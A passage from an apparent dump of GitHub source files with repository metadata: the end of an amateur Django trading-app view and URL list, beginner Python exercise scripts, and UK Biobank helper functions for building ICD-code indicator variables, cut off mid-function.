except:\n action_type=\"\"\n\n user=\"\"\n try:\n user=req.GET[\"user\"]\n except:\n user=\"\"\n\n email=\"\"\n try:\n email=req.GET[\"email\"]\n except:\n email=\"\"\n\n phone=\"\"\n try:\n phone=req.GET[\"phone\"]\n except:\n phone=\"\"\n\n password=\"\"\n try:\n password=req.GET[\"password\"]\n except:\n pass\n\n\n traid_id=\"\"\n try:\n traid_id=req.GET[\"traid_id\"]\n except:\n pass\n\n request_amound=\"\"\n try:\n request_amound=float(req.GET[\"request_amound\"])\n except:\n pass\n\n\n request_type=\"\"\n try:\n request_type=req.GET[\"request_type\"]\n except:\n pass\n\n\n send_type=\"\"\n try:\n send_type=req.GET[\"send_type\"]\n except:\n pass\n send_amount=\"\"\n try:\n send_amount=float(req.GET[\"send_amount\"])\n except:\n pass\n #127.0.0.1:8000/doit?action_type=adduser&user=v1&email=a&password=1&phone=1\n #127.0.0.1:8000/doit?action_type=adduser&user=v3&email=a&password=1&phone=1\n\n\n if action_type==\"adduser\":\n if password!=\"\":\n pass\n else:\n\n return HttpResponse( \"blank1\" )\n if user!=\"\":\n pass\n else:\n return HttpResponse( \"blank2\" )\n if email!=\"\":\n pass\n else:\n return HttpResponse( \"blank3\" )\n if phone!=\"\":\n pass\n else:\n return HttpResponse( \"blank4\" )\n out=mysql_test.makeuseremail(user,email,password)\n return HttpResponse( out )\n\n #127.0.0.1:8000/doit?action_type=maketraid&user=v1&password=1&request_type=money1&send_type=money2&request_amound=1&send_amount=1\n\n\n #SELECT * from `traidtable` WHERE `traid_id` LIKE 'mvqtpftuhlmhcyfneazdyysmouaajaobhaoxesqycbrrryjbbnwjnvhkopzzhaya';\n if action_type==\"maketraid\":\n if password!=\"\":\n pass\n else:\n return HttpResponse( \"blank1\" )\n if user!=\"\":\n pass\n else:\n return HttpResponse( \"blank2\" )\n\n if request_type not in [\"money1\",\"money2\"]:\n\n return HttpResponse( \"blank4\",request_type,\" done \" )\n\n if send_type not in [\"money1\",\"money2\"]:\n return HttpResponse( \"blank5\" )\n\n if send_type==request_type:\n return HttpResponse( \"blank6\" )\n\n if request_amound==\"\":\n return HttpResponse( \"blank7\" )\n if send_amount==\"\":\n return HttpResponse( \"blank8\" )\n out=mysql_test.funtion_make_traid(user,password,request_type,request_amound,send_type,send_amount)\n return HttpResponse( out )\n\n #127.0.0.1:8000/doit?action_type=fintraid&user=v2&password=1&traid_id=vyyyihrlgoefyiznjngvnpgwaeduqqgpottlkgjrawvfeooinulyxwhgcezyhuej\n\n if action_type==\"fintraid\":\n if password!=\"\":\n pass\n else:\n return HttpResponse( \"blank1\" )\n if user!=\"\":\n pass\n else:\n return HttpResponse( \"blank2\" )\n\n if traid_id ==\"\":\n return HttpResponse( \"blank4\" )\n\n\n out=mysql_test.compleat_traid(user,password,traid_id)\n mysql_test.log_traid(out)\n\n return HttpResponse( out )\n\n #127.0.0.1:8000/doit?action_type=print_convertion\n \n\n if action_type==\"print_convertion\":\n return HttpResponse( mysql_test.print_convertions(\"</br>\") )\n #127.0.0.1:8000/doit?action_type=reset_convertion\n\n\n if action_type==\"reset_convertion\":\n mysql_test.reset_convertion()\n return HttpResponse( \"done\" )\n\n #127.0.0.1:8000/doit?action_type=Uprint&user=v2\n\n\n if action_type==\"Uprint\":\n return HttpResponse(mysql_test.user_acount(user,\"</br>\"))\n\n \n\n\n mysting=action_type+\",\"+user+\",\"+password+\",\"+traid_id+\",\"+request_amound+\",\"+request_type+\",\"+send_type+\",\"+send_amount\n\n return HttpResponse( mysting )\n\n\ndef get_from_cash(req):\n\n return render_to_response('./test.html')\n\n\n\n \n\n\n\n" }, { "alpha_fraction": 0.6913827657699585, "alphanum_fraction": 0.6913827657699585, "avg_line_length": 32.20000076293945, "blob_id": "f141b376ad293de04613f096b621e345be323728", "content_id": "02dc857e8bb5d2bf501ae09ffa02406355bcec29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 499, "license_type": "no_license", "max_line_length": 71, "num_lines": 15, "path": "/pyspark/django_form_other_project/mysite/numb/url.py", "repo_name": "alex2060/job1", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n\tpath('traider', views.traider,name='traider'),\n path('add_traid', views.add_traid,name='add_traid'),\n path('compleat_traid', views.compleat_traid,name='compleat_traid'),\n path('get_user_info', views.print_convertion,name='get_user_info'),\n path('convertion', views.print_convertion,name='convertion'),\n path('print_user', views.print_user,name='print_user'),\n path('doit', views.doit,name='doit')\n\n]\n#print_user\n\n" } ]
4
zhuliyi10/python_demo
https://github.com/zhuliyi10/python_demo
25796036e21de477ea1b53e91f0a6401da969536
8f801ed2c99a680c4c7cd7928caca453d1ab038c
4ace19f4673046b6fe905fdf9fb604119b01c2ce
refs/heads/master
2020-04-12T07:48:51.422470
2018-12-19T08:02:40
2018-12-19T08:02:40
162,371,319
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 20, "blob_id": "ae2f4c26abda4963f453ac53aaa0ae74cd479890", "content_id": "7c3affa30659af9bf5d00f235aef8da849b40a7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 84, "license_type": "no_license", "max_line_length": 41, "num_lines": 4, "path": "/models/mymodule_demo.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "from mymodule import sayhello,__version__\n\nsayhello()\nprint('version:',__version__)\n" }, { "alpha_fraction": 0.34285715222358704, "alphanum_fraction": 0.4476190507411957, "avg_line_length": 14, "blob_id": "e16b18b0a35d9820e08b4b5e0a1ee136f5d4922d", "content_id": "7d091aff778f141e298972d19f74f0237a525904", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 105, "license_type": "no_license", "max_line_length": 38, "num_lines": 7, "path": "/function/function_key.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "def func(a, b=5, c=10):\n print('a=', a, ' b=', b, ' c=', c)\n\n\nfunc(2, 7)\nfunc(2, c=23)\nfunc(c=23,a=9)\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5091742873191833, "avg_line_length": 15.692307472229004, "blob_id": "e762963c4a3eaa7b515deba633a307cf9fdd0c35", "content_id": "ebefc0265b5c95938c9ba5f02dd2da2c755ab480", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "no_license", "max_line_length": 34, "num_lines": 13, "path": "/if.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "number = 23\nwhile True:\n\n guess = int(input('请输入一个整数:'))\n if guess == number:\n print('恭喜,你猜对了。')\n break\n elif guess < number:\n print('你猜小了')\n else:\n print('你猜大了')\n\nprint('end') \n" }, { "alpha_fraction": 0.5616438388824463, "alphanum_fraction": 0.6164383292198181, "avg_line_length": 23.33333396911621, "blob_id": "caa96da32a2364a010820d82a5f18ed8aaf37bfd", "content_id": "6e01247829382bc44417dbfd69a23a460cac4a99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 73, "license_type": "no_license", "max_line_length": 48, "num_lines": 3, "path": "/base.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "age = 20\nname = 'zhuly'\nprint('{0} was {1} years old'.format(name, age))\n" }, { "alpha_fraction": 0.6341463327407837, "alphanum_fraction": 0.6390243768692017, "avg_line_length": 13.571428298950195, "blob_id": "38f56e8ab0821c6423a86cba6af3965cefe3aacb", "content_id": "6738328e1b76bf8bd248549b9d6e0cb4ceb0d182", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 32, "num_lines": 14, "path": "/input_output/user_input.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "\ndef reverse(text):\n return text[::-1]\n\n\ndef is_palindrome(text):\n return text == reverse(text)\n\n\nsomething=input('输入文本:')\n\nif is_palindrome(something):\n print(\"是的,这是回文\")\nelse:\n print(\"这不是回文\")\n" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 15.75, "blob_id": "bdee1e46b086e98dc154e5e28dc0e2a51026e44b", "content_id": "33eafab5ded6f2811f71c498d3593313174e0646", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 66, "license_type": "no_license", "max_line_length": 38, "num_lines": 4, "path": "/function/function.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "def sayHello():\n print('hello world,hello python!')\n\nsayHello()" }, { "alpha_fraction": 0.5775193572044373, "alphanum_fraction": 0.6085271239280701, "avg_line_length": 20.5, "blob_id": "efb32214abc0bceca3b972cf617a90581ba16a51", "content_id": "41e3a9ef3cf0fb584684ee16cd7f08e83ab5a651", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 302, "license_type": "no_license", "max_line_length": 43, "num_lines": 12, "path": "/function/total.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "def total(a=5,*numbers,**phonebook):\n print('a',a)\n\n #通过元组遍历全部的参数\n for item in numbers:\n print('num_item',item)\n\n #通过字典遍历全部的参数 \n for first,second in phonebook.items():\n print(first,second)\n\ntotal(10,1,2,3,Name='zhuly',age=26)\n" }, { "alpha_fraction": 0.6868686676025391, "alphanum_fraction": 0.6868686676025391, "avg_line_length": 13.142857551574707, "blob_id": "cf3faf34afc526a5a87ebb9fd5dd487eef4fe0c2", "content_id": "3a5f707aa1f7b02466b50c8559c65e8eee4f326a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 369, "license_type": "no_license", "max_line_length": 30, "num_lines": 21, "path": "/input_output/pickling.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "import pickle\n\n# 我们将要存储对象的文件名\nshoplistfile = 'shoplist.data'\n\n# 购物清单\nshoplist = ['苹果', '芒果', '胡萝卜']\n\n# 定到文件\nf = open(shoplistfile, 'wb')\n\npickle.dump(shoplist, f)\nf.close()\n\ndel shoplist # 释放shoplist变量\n\n# 从仓库读回\nf = open(shoplistfile, 'rb')\nstoredlist = pickle.load(f)\nf.close()\nprint(storedlist)\n" }, { "alpha_fraction": 0.6701030731201172, "alphanum_fraction": 0.6701030731201172, "avg_line_length": 15.333333015441895, "blob_id": "aff650678f4f2ef1885e6baa944f2febe861d7a6", "content_id": "871dec24101f6ece81477f4b56a1920d08d32de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 111, "license_type": "no_license", "max_line_length": 36, "num_lines": 6, "path": "/models/using_sys.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "import sys\nprint('命令行参数是:')\nfor i in sys.argv:\n print(i)\n\nprint(\"python path is in \",sys.path)" }, { "alpha_fraction": 0.5866666436195374, "alphanum_fraction": 0.6133333444595337, "avg_line_length": 17.5, "blob_id": "f63cd78fc050232ed913d888cf5cdba77ae8b1c0", "content_id": "73676a66bad08134c0a1cc81f656bc85e012d025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 75, "license_type": "no_license", "max_line_length": 38, "num_lines": 4, "path": "/models/mymodule.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "\ndef sayhello():\n print('hello wolrd,hello python!')\n\n__version__='0.1'\n" }, { "alpha_fraction": 0.5371900796890259, "alphanum_fraction": 0.5413222908973694, "avg_line_length": 11.736842155456543, "blob_id": "3cb6cad7fbce2b9f5fc84aaef27d6909fdcfc903", "content_id": "90f92244a1805c9bd36b9e57dc92f0e91c7a9514", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 292, "license_type": "no_license", "max_line_length": 25, "num_lines": 19, "path": "/input_output/using_file.py", "repo_name": "zhuliyi10/python_demo", "src_encoding": "UTF-8", "text": "poem = '''\\\n当工作完成时\n编程是有趣的\n如果想让你的工作有趣\n 使用Python!\n'''\n\nf = open('poem.txt', 'w')\nf.write(poem)\nf.close()\n\nf = open('poem.txt', 'r')\n\nwhile(True):\n line = f.readline()\n if len(line) == 0:\n break\n print(line, end='')\nf.close()\n" } ]
11
akkheyy/Python-Challenge
https://github.com/akkheyy/Python-Challenge
3754551f9e25f7dd302cf669095b0d760e800a04
9c6dfed62345dd100cf781eb4b32abd0dcea8c45
6b8024fa757a1febb0f1b7e57244914067cf53ba
refs/heads/master
2020-09-13T13:39:14.016630
2019-11-27T01:26:27
2019-11-27T01:26:27
222,801,716
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.594059407711029, "alphanum_fraction": 0.5984158515930176, "avg_line_length": 37.16666793823242, "blob_id": "a0eb71578a181fe27fd6d3ae4ead3b23c8a289a9", "content_id": "a686bc5a3cb711c7ab00eb79d8b13f93727aac55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2525, "license_type": "no_license", "max_line_length": 168, "num_lines": 66, "path": "/PyPoll/main.py", "repo_name": "akkheyy/Python-Challenge", "src_encoding": "UTF-8", "text": "import os\nimport csv\n\ncsvpath = os.path.join('election_data.csv')\n\n#Variables\nvotes = 0\ncandidate_list = []\ncandidate_count = []\ncandidate_percent = []\n\nwith open(\"election_data.csv\", \"r\") as in_file:\n csv_reader = csv.reader(in_file)\n header = next(csv_reader)\n \n for row in csv_reader:\n #Adds total number of votes\n votes += 1\n candidate = row[2]\n\n #If a candidate is in Candidate List, indexes the candidate on Candidate List, finds the index on Candidate Count List, and increases their number of votes by 1\n if candidate in candidate_list:\n candidate_index = candidate_list.index(candidate)\n candidate_count[candidate_index] += 1\n\n #If a candidate is not in Candidate List, adds candidate to Candidate List, and increases the candidates vote count by 1 on Candidate Count\n else:\n candidate_list.append(candidate)\n candidate_count.append(1)\n\n #Finds the percent of votes each candidate received, and adds the percentage to the Candidate Percent List\n for e in range(len(candidate_list)):\n vote_percent = round((candidate_count[e]/votes) * 100, 2)\n candidate_percent.append(vote_percent)\n\n #Finds the Overall Election Winner by finding the candidate listed the maximum amount of times\n winning_candidate = max(candidate_list, key = candidate_list.count)\n\n#Print Results to Terminal\n\nprint(\"_____________________________\")\nprint(\" Election Results\")\nprint(\"_____________________________\")\nprint(\"Total Votes: \" + str(votes))\nprint(\"_____________________________\")\nfor e in range(len(candidate_list)):\n print(f'{candidate_list[e]} : {candidate_count[e]} votes : {candidate_percent[e]}%')\nprint(\"_____________________________\")\nprint(\"Winner: \" + str(winning_candidate))\nprint(\"_____________________________\")\n\n#Create and write to Election_Results TXT File\n\noutpath = os.path.join(\"Election_Results.txt\")\ntxt_file = open(\"Election_Results.txt\", \"w\")\n\ntxt_file.write(\"_____________________________\\n\")\ntxt_file.write(\" Election Results\\n\")\ntxt_file.write(\"_____________________________\\n\")\ntxt_file.write(\"Total Votes: \" + str(votes))\ntxt_file.write(\"\\n_____________________________\\n\")\nfor e in range(len(candidate_list)):\n txt_file.write(f'{candidate_list[e]} : {candidate_count[e]} votes : {candidate_percent[e]}%\\n')\ntxt_file.write(\"_____________________________\\n\")\ntxt_file.write(\"Winner: \" + str(winning_candidate))\ntxt_file.write(\"\\n_____________________________\")\n\n\n\n\n\n\n" } ]
1
JPisaBrony/FFProcServer
https://github.com/JPisaBrony/FFProcServer
dd013050d2d0b42c190deef5e9eac3553cb5b9d8
2e640b64d63e03044a834d7f5be8e3efd77e6d4e
2a7964700257871214e309cf6acdc45a988d0e6b
refs/heads/master
2020-05-07T16:57:11.136815
2019-04-11T04:12:47
2019-04-11T04:12:47
180,706,552
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.600956916809082, "alphanum_fraction": 0.6076555252075195, "avg_line_length": 25.794872283935547, "blob_id": "c3664e0664fd64e30e7d11bcd00a9d1453a1183c", "content_id": "b6bc5fc777c2fa9b0207383e64c0dcc76bd0d3a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1045, "license_type": "no_license", "max_line_length": 70, "num_lines": 39, "path": "/ffserver.py", "repo_name": "JPisaBrony/FFProcServer", "src_encoding": "UTF-8", "text": "from flask import Flask, request, jsonify\nfrom subprocess import Popen, PIPE\nimport uuid\nimport os\nimport json\n\napp = Flask(\"ffserver\", static_url_path='')\nprocessing = False\n\n@app.route(\"/\")\ndef root():\n return app.send_static_file(\"index.html\")\n\n@app.route(\"/ffmpeg\", methods=['POST'])\ndef ffmpeg():\n global processing\n if processing == True:\n return jsonify({ \"result\": \"processing...\" })\n processing = True\n\n vidID = str(uuid.uuid4())\n outDir = \"static/\" + vidID\n os.makedirs(outDir)\n cmd = request.json[\"cmd\"].replace(\"ffmpeg \", \"\").replace(\"\\\"\", \"\")\n cmdArgs = [\"ffmpeg\", \"-loglevel\", \"error\"]\n for c in cmd.split(\" \"):\n cmdArgs.append(c)\n proc = Popen(cmdArgs, cwd=outDir, stdout=PIPE, stderr=PIPE)\n stdout, stderr = proc.communicate()\n\n result = proc.wait()\n processing = False\n if result == 1:\n os.rmdir(outDir)\n return jsonify({\"error\": stderr})\n return jsonify({ \"result\": vidID + \"/\" + cmdArgs[-1] })\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0')\n" }, { "alpha_fraction": 0.8194444179534912, "alphanum_fraction": 0.8194444179534912, "avg_line_length": 13.399999618530273, "blob_id": "47db19991bc0bcb2d9247609d2f890ee877287df", "content_id": "2e39dbdd4fe1b6474a993ecf697247cc9df35e1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 72, "license_type": "no_license", "max_line_length": 29, "num_lines": 5, "path": "/README.md", "repo_name": "JPisaBrony/FFProcServer", "src_encoding": "UTF-8", "text": "# FFProcServer\n\nFFmpeg processing server\n\nwritten in python using flask\n" } ]
2
postincredible/ukbb
https://github.com/postincredible/ukbb
b52023865415085cce78605b9302eb91efcc7a48
6483555c130e3bec806d4eea8a56dd9cd2fae2d6
b89906f2d1a58d2b7aa06f649226364ab7ee57fc
refs/heads/master
2020-03-21T20:58:02.838022
2019-01-12T01:33:53
2019-01-12T01:33:53
139,039,469
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5747577548027039, "alphanum_fraction": 0.5825470089912415, "avg_line_length": 35.49536895751953, "blob_id": "541c877a4bcaee5318f01facb4e01532a7fbfe24", "content_id": "397902dddb15d1d9800b1ea3106a70484ed8015e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15791, "license_type": "no_license", "max_line_length": 239, "num_lines": 432, "path": "/ukbb.py", "repo_name": "postincredible/ukbb", "src_encoding": "UTF-8", "text": "\n\nimport os\nimport pandas as pd\nimport numpy as np\n\npth=os.getcwd()\nspliter=pth.split('/')[-1]\nrel_var_path=pth.split(spliter)[0]+'disease/'\nrel_var_path\n\ndef load_data_by_fid(fid):\n df_tab1_i0_comp=pd.read_csv('/temp_project/ukbb/data/i0/ukb22598_i0_comp.csv')\n\n if int(fid) in df_tab1_i0_comp.fid.values.tolist():\n fid_num=fid\n \n var_type=df_tab1_i0_comp[df_tab1_i0_comp['fid']==int(fid_num)].Type.values[0]\n\n var_type_list=['con','cur','dat','int','tex','tim','cas','cam']\n var_type_list_full=['Continuous','Curve','Date','Integer','Text','Time','Categorical (single)', 'Categorical (multiple)']\n\n path_p1='/temp_project/ukbb/data/i0/var_'\n\n if var_type in var_type_list_full:\n vtyp=var_type_list[var_type_list_full.index(var_type)]\n\n loadpath=path_p1+str(vtyp)+'/'\n os.chdir(path_p1+str(vtyp))\n list_folder=os.listdir() \n\n pname1=str(vtyp)+str(fid_num)+'i0.csv'\n pname2='vec_'+str(vtyp)+str(fid_num)+'i0.csv'\n\n if pname1 in list_folder:\n print('fid ' + str(fid_num) + ' is a single-measure '+str(var_type).lower()+' variable')\n fpname=list_folder[list_folder.index(pname1)]\n df_load=pd.read_csv(loadpath+fpname)\n\n elif pname2 in list_folder:\n print('fid ' + str(fid_num) + ' is a multiple-measure '+str(var_type).lower()+' variable')\n fpname=list_folder[list_folder.index(pname2)]\n df_load=pd.read_csv(loadpath+fpname, sep='\\t')\n return df_load\n \n else:\n print('fid not found, please try again')\n\n \ndf_tab1_i0_comp=pd.read_csv('/temp_project/ukbb/data/i0/ukb22598_i0_comp.csv')\n\ndef cd_path(path):\n \"\"\"\n Check if path exists, if not create it\n \"\"\"\n if os.path.exists(path):\n print(path+' already exists!')\n else:\n os.mkdir(path)\n print(path+' is now created!')\n\ndef chk_unique_eid(df):\n \"\"\"\n Check unique eid number for a dataframe\n \"\"\"\n print('loaded df has unique eid count: '+ str(len(df.eid.unique())))\n\n \n \ndef search_des(keyword):\n \"\"\"\n search 'keyword' related variable based on the variable description\n \"\"\"\n klow=str(keyword).lower()\n df_tab1_i0_comp['des']=df_tab1_i0_comp.Description.str.lower()\n key_des=df_tab1_i0_comp[df_tab1_i0_comp.des.str.contains(klow)][['fid','Type','obs_ct','Description','DC']]\n return key_des\n\n\ndef related_vars(key_list, dis):\n \"\"\"\n return a dataframe contains all searched 'keyword' related variable in 'key_list'\n \"\"\"\n \n savepath1=rel_var_path ##### CHANGE path if needed\n savepath2=savepath1+str(dis).upper()\n \n if os.path.exists(savepath2):\n os.chdir(savepath2)\n d_lst=[]\n for k in key_list:\n df_k=search_des(str(k).strip())\n d_lst.append(df_k)\n\n d_coma=pd.concat(d_lst)\n d_comb=d_coma.drop_duplicates()\n print('Searched keyword(s): '+str(key_list)+'\\n'+'save '+str(dis)+'_related_vars_chk.csv file at '+str(savepath2))\n filename=str(dis)+'_related_vars_chk.csv'\n d_comb.to_csv(filename, index=None)\n return d_comb\n \n else: \n os.mkdir(savepath2)\n os.chdir(savepath2)\n d_lst=[]\n for k in key_list:\n df_k=search_des(str(k).strip())\n d_lst.append(df_k)\n\n d_coma=pd.concat(d_lst)\n d_comb=d_coma.drop_duplicates()\n print('Searched keyword(s): '+str(key_list)+'\\n'+'save '+str(dis)+'_related_vars_chk.csv file at '+str(savepath2))\n filename=str(dis)+'_related_vars_chk.csv'\n d_comb.to_csv(filename, index=None)\n return d_comb\n\n\n\n\ndef lst_ind(dfa_list,ind_val):\n \"\"\"\n return a list of icd code that match with 'ind_val'\n \"\"\"\n pre0=[]\n for i in dfa_list:\n if pd.isnull(i):\n pre0.append([])\n elif pd.notnull(i):\n si=[]\n jl=i.split(',')\n for ei in jl:\n ef=ei.replace(',','')\n efa,efb,efc=ef.partition(str(ind_val))\n if efa=='':\n si.append(ef)\n pre0.append(si)\n return pre0\n\n\n\n\n\n\n\n\n\n\n################ functions in std UKBB data ######################\n\ndef mm_gen_ind_raw(fid_int,key_code,evnt, detail=False, get_ct=False, ct_only=False):\n \"\"\"\n return a dataframe that contains indicator variable for a specific 'key_code' in UKBB std data\n use 'detail=True' to get the detail matched code info\n use 'get_ct=True' to get the count for matched code\n use 'ct_only=True' to return count only\n \"\"\"\n\n dfc=load_data_by_fid(fid_int)\n #df_icd9m=dfc.copy()\n dfa=dfc.copy()\n\n dfa_lst=dfa[dfa.columns[1]].values.tolist()\n \n pre0=lst_ind(dfa_lst,str(key_code))\n \n gen_fid_name='fid'+str(fid_int)+'_'+str(evnt)+str(key_code)\n gen_ind_name='ind'+str(fid_int)+'_'+str(evnt)+str(key_code)\n gen_count_name='count'+str(fid_int)+'_'+str(evnt)+str(key_code)\n \n dfa[str(gen_fid_name)]=pre0\n dfa[dfa.columns[dfa.columns.get_loc(str(gen_fid_name))]]=dfa[dfa.columns[dfa.columns.get_loc(str(gen_fid_name))]].apply(lambda y: np.nan if len(y)==0 else y )\n \n dfa[str(gen_ind_name)]=pre0\n dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]]=dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]].apply(lambda y: 0 if len(y)==0 else 1 )\n \n dfa[str(gen_count_name)]=pre0\n dfa[dfa.columns[dfa.columns.get_loc(str(gen_count_name))]]=dfa[dfa.columns[dfa.columns.get_loc(str(gen_count_name))]].apply(lambda y: 0 if len(y)==0 else len(y) )\n \n print('fid '+str(fid_int)+' ',str(evnt)+str(key_code)+' count: '+str(dfa[dfa.columns[dfa.columns.get_loc(str(gen_fid_name))]].count())+' ind from '+str(dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]].count()))\n dfb=dfa[['eid',str(gen_ind_name),str(gen_count_name)]]\n #dfb=dfa[['eid',str(gen_ind_name)]]\n \n if ct_only==False:\n if detail==True:\n if get_ct==True:\n return dfa\n if get_ct==False:\n return dfa.drop([str(gen_count_name)],axis=1)\n else:\n if get_ct==True:\n return dfb\n if get_ct==False:\n return dfb.drop([str(gen_count_name)],axis=1)\n \n if ct_only==True:\n return dfb.drop([str(gen_ind_name)],axis=1)\n\n \n \n \ndef mm_gen_ind_list(fid_in, key_code_list, evt, detai=False, get_ct=False, ct_only=False):\n \"\"\"\n return a dataframe that contains indicator variables for each specific 'key_code' in 'key_code_list'\n use 'detai= True' to get the detail matched codes info\n use 'get_ct=True' to get the count for matched codes\n use 'ct_only=True' to return counts only\n \"\"\"\n dfcl=[]\n \n if ct_only==False:\n \n if detai==False:\n if get_ct==False:\n for l in key_code_list:\n df_l=mm_gen_ind_raw(fid_in, l, str(evt), detail=False, get_ct=False, ct_only=False)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n \n if get_ct==True:\n for l in key_code_list:\n df_l=mm_gen_ind_raw(fid_in, l, str(evt), detail=False, get_ct=True, ct_only=False)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n \n \n \n if detai==True:\n if get_ct==False:\n for l in key_code_list:\n df_l=mm_gen_ind_raw(fid_in, l, str(evt), detail=True, get_ct=False, ct_only=False)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n \n if get_ct==True:\n for l in key_code_list:\n df_l=mm_gen_ind_raw(fid_in, l, str(evt), detail=True, get_ct=True, ct_only=False)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n\n if ct_only==True:\n for l in key_code_list:\n df_l=mm_gen_ind_raw(fid_in, l, str(evt), detail=False, get_ct=False, ct_only=True)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n \n \n\n\ndef gen_event_ind_from_list(fid_int, event_code_list):\n \"\"\"\n return a dataframe that contains indicator variables for each pair of event and its related ICD code\n\n \"\"\"\n df_pool=[]\n for lev1 in event_code_list:\n print('load event: '+ str(lev1[0]))\n for_event= lev1[0]\n for_code= lev1[1]\n #df_name= 'df_ind'+str(fid_int)+'_'+str(for_event)\n df_pool_element=mm_gen_ind_list(fid_in=fid_int, evt=for_event, key_code_list=for_code)\n df_pool.append(df_pool_element)\n df_pooled=pd.concat(df_pool,axis=1)\n df_pooled=df_pooled.loc[:,~df_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n return df_pooled\n\n\n\ndef gen_event_ind_from_multi_var(fid_list, event_code_list,detail=False):\n \"\"\"\n return a dataframe that contains indicator variables for each event combined multiple icd measurements\n\n \"\"\"\n f_pool=[]\n for f in fid_list:\n print('\\n working on fid= '+str(f))\n f_pool_element= gen_event_ind_from_list(fid_int=f, event_code_list=event_code_list)\n f_pool.append(f_pool_element)\n f_pooled= pd.concat(f_pool,axis=1)\n f_pooled=f_pooled.loc[:,~f_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n \n if detail==True:\n return f_pooled\n \n if detail==False:\n ind_pool=[]\n for e in event_code_list:\n event=e[0]\n df_pre=f_pooled.filter(regex=event)\n ind_name='icd_ind_'+str(event)\n leid=f_pooled.eid\n ind_sum=df_pre.sum(axis=1)\n df_e=pd.DataFrame({'eid':leid, ind_name:ind_sum})\n df_e[ind_name]=df_e[ind_name].apply(lambda y: 1 if y>0 else y)\n df_e=df_e.loc[:,~df_e.columns.duplicated()] # drop duplicated 'eid' columns\n ind_pool.append(df_e)\n \n #df_e=f_pooled[['eid']].copy()\n #ind_name='icd_ind_'+str(event)\n #df_e[str(ind_name)]=df_pre.sum(axis=1)\n #df_e.ind_name=df_pre.sum(axis=1)\n #df_e[ind_name]=df_pre.sum(axis=1)\n\n #df_e.ind_name=df_e.ind_name.apply(lambda y: 1 if y>0 else y)\n #ind_pool.append(df_e)\n ind_pooled= pd.concat(ind_pool,axis=1)\n ind_pooled=ind_pooled.loc[:,~ind_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n return ind_pooled\n \n \n\n \n\n############# functions for HES ################\n\ndef hes_gen_ind_raw(icd,hesin_dfin,key_code,evnt, detail=False):\n \"\"\"\n return a dataframe that contains indicator variable for a specific 'key_code' in HES data\n use 'detail= True' to get the detail matched code info\n \"\"\"\n\n #dfc=load_data_by_fid(fid_int)\n #df_icd9m=dfc.copy()\n #dfa=hesin[['eid',str(icd)]].copy()\n dfa=hesin_dfin[['eid','record_id',str(icd)]].copy()\n\n\n \n 